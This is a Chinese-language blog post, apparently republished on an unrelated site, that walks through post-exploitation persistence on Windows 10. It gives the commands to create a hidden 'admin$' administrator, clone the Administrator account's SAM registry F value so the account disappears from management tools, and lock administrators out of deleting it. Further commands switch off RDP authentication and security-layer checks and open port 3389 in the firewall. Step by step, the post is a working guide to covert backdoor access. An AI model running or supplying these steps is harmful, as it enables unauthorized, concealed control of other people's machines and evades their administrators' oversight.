您現在的位置是:首頁 > 籃球

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

  • 由 網路安全—大炮喬 發表于 籃球
  • 2021-06-10
簡介2 就是使用 tls 協議來進行將其引數設定為0,命令如下:REG ADD “HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp” v Sec

win10如何獲得管理員許可權

0x00 前言

在滲透過程中拿下一臺主機後很多時候會選擇開3389進遠端桌面檢視一下對方主機內有無一些有價值的東西可以利用,但是這也引出了一個問題,只要是登入程序就一定會留下痕跡,雖然在滲透完成後可以透過痕跡清理的方法清除自己登入的“證據”,但是在多次滲透的過程中我不禁產生了思考,有沒有一種方法能夠最大化的隱藏自己登陸過對方主機呢,於是便有了下文

0x01 隱藏使用者(影子使用者)的建立與利用進行許可權維持

這裡先提一個概念,在windows環境下建立使用者如果後面帶了一個“$”符號,在net user時預設是不顯示的,下文基於這個特性展開

利用條件:①獲得管理員許可權;②得到cmdshell等shell環境(即管理員cmd)

操作步驟(我這裡以Windows10 為例):

1。首先利用cmdshell新增一個使用者名稱帶$的使用者,如:admin$:123456

命令如下:

net user admin$ 123456 /add #新增使用者admin$net localgroup administrators admin$ /add #將admin$使用者新增到管理員組administrators

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

使用命令net user檢視使用者發現並沒有這個使用者

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

此時可以直接登入3389進行操作,但隱蔽性仍不足,可以在控制面板的管理工具中使用者與使用者組檢視到該使用者的存在,還需要進一步操作

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

2。對登錄檔進行修改,在命令提示符與管理工具中無法檢視

當你利用shell建立了一個影子使用者的時候,利用這個影子使用者可以開啟3389進行登入,在目標機上對登錄檔進行資料操作,達到提高影子使用者的隱蔽性

利用 執行 輸入regedit 開啟登錄檔 ,找到如下圖的SAM

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

選擇SAM 項 ,在工具欄上的“編輯 > 許可權” 中設定許可權 ,將 Administrators組 的許可權設定為完全控制 後儲存

(拒絕修改不可逆,出錯會造成大問題,別點到完全操控的拒絕項,該操作不可逆,利用這個思路,我們可以在修改登錄檔後再對System與Administrators許可權進行拒絕訪問,可防止管理員刪除這個使用者)

兩個許可權都修改為允許

設定好後,回到登錄檔主頁面 ,發現SAM項下出現了隱藏的子項,找到

SAM > Domains > Account > Users 和 Names

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

分別找到Administrator使用者和admin$使用者的兩個項

Administrator使用者的F值(SID):

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

將Administrator F表內的二進位制資料複製下來

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

找一下admin$使用者對應的SID和F值,如下所示:

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

將admin$目錄下的F值修改為從administrator複製得來的F值

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

複製後如圖所示

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

匯出Users下對應admin$項

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

我這裡儲存到桌面

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

再把Names下對應的admin$項匯出

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

同樣匯出到桌面

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

匯出後如圖所示

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

利用cmdshell(管理員許可權)將admin$刪除,刪除後發現登錄檔中的admin$使用者相關項已經消失

net user admin$ /del

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

這時候我們匯入已經備份好的項與數值(匯出後雙擊進行匯入或者在登錄檔中匯入)

我這裡在登錄檔進行匯入

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

可以看見匯入已經成功了

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

匯入成功後回到管理工具中的檢視使用者與使用者組的頁面,發現使用者組和使用者已經沒有admin$這個使用者的存在了,但實際上我們仍可以用這個使用者的密碼進行登入RDP,而且可以相當於Administrator管理員進行登入操作

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

開啟3389進行登入,發現問題

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

發現使用者未授權,這時候又多了一個利用條件,要在右下的選擇使用者下,新增admin$使用者的使用者名稱,才能正常登入3389

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

修改後成功登入

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

0x02 細節拓展

那我們在實戰中,是以遠端登入介面為基礎的。這時,我們又要拓展另一個許可權,userauthentication許可權 ,該許可權主要是用於遠端連線的身份驗證,稱之為鑑權

我們以圖片直觀地檢視該許可權開啟與關閉的區別:

開啟狀態:

關閉狀態就會直接進入遠端桌面鎖屏處

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

這裡有一個重點:

鑑權開啟時,我們在不知道賬號密碼的情況下無法登入到遠端介面,但是鑑權關閉之後,無論我們輸入的賬號和密碼是否正確,都可以進入遠端介面視窗

首先關閉鑑權模式,我們採用如下命令,這裡0代表關閉,1代表開啟

REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0

關閉鑑權模式還不夠,還需要關閉securitylayer安全層驗證

securitylayer這個安全層驗證簡單來說就是保證了對話傳輸保密性更高,它的預設值為1,指定在建立遠端桌面連線之前,伺服器和客戶端需要進行身份驗證,如果這個地方安全層驗證的預設值為1,伺服器和客戶端就必須要進行身份驗證,也就是輸入帳號密碼的操作,所以我們需要將安全層驗證的這個值改為0

這裡貼一下微軟官方對這個驗證的解釋:https://docs。microsoft。com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-terminalservices-rdp-winstationextensions-securitylayer

概括起來就是:

0 就是連線前使用 rdp 協議進行身份驗證,rdp 即遠端桌面連線,可以簡單理解為就是關閉驗證。1 是指在連線前兩端協商來進行身份驗證,這個是預設值。2 就是使用 tls 協議來進行

將其引數設定為0,命令如下:

REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v SecurityLayer /t REG_DWORD /d 0

這裡注意一下,我在測試過程中,兩個引數同時關閉(也存在關掉一個引數而不用驗證的情況,但最好還是兩個引數都關閉)才可以不用輸入正確憑證進入3389的登入頁面

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

以上操作的基礎是目標機開啟了遠端桌面連線,如果沒有開啟遠端連線需要先配置一下防火牆,設定為允許遠端桌面連線,命令:

netsh advfirewall firewall add rule name=“Remote Desktop” protocol=TCP dir=in localport=3389 action=allow

這裡解釋一下:

netsh 是 windows 的網路配置命令,advfirewall firewall 意思為防火牆的高階設定,add rule 是新增一條規則,name 指定規則名稱,protocol 指定協議,dir 指定是出站還是入站,localport 指定埠,action 指定動作 allow 允許

設定後,我們再透過登錄檔來設定一下允許遠端桌面連線,執行以下命令:

REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer” /v fDenyTSConnections /t REG_DWORD /D 0 /f

做好以上工作,伺服器的RDP遠端登入介面就可以在無輸入正確密碼的情況下開啟,遠端桌面連線輸入 ip 就會直接跳到目標鎖屏頁

不用憑證驗證進入到登入頁面:

後滲透之許可權維持——隱藏使用者的建立和使用(全程乾貨)

0x03 思路拓展

在這裡展示的是代表新使用者的影子使用者的建立利用,如果遇上有意識的管理員,極有可能會在登錄檔中被發現,如果設定不可逆性的許可權(檢視訪問設定完全控制的拒絕選項)可以暴力有效解決這個賬號被刪除的問題,但後面也會引發更大的問題

利用新的影子使用者登入3389,會生成資料容易被發現,而且還需要在3389上新增條件才能進行正常登入(Windows10下是如此情況)

此處可以擴充套件兩種方法:

①所以說這裡我們可以開啟來賓賬戶Guest在登錄檔對其F值進行更換,開啟Guest賬戶,我們就可以登入而且減少了一些不必要的關注。

②在新增授權使用者那個選項中,將所有已知的使用者進行新增,防止管理員過早發現建立的影子使用者的存在。

Top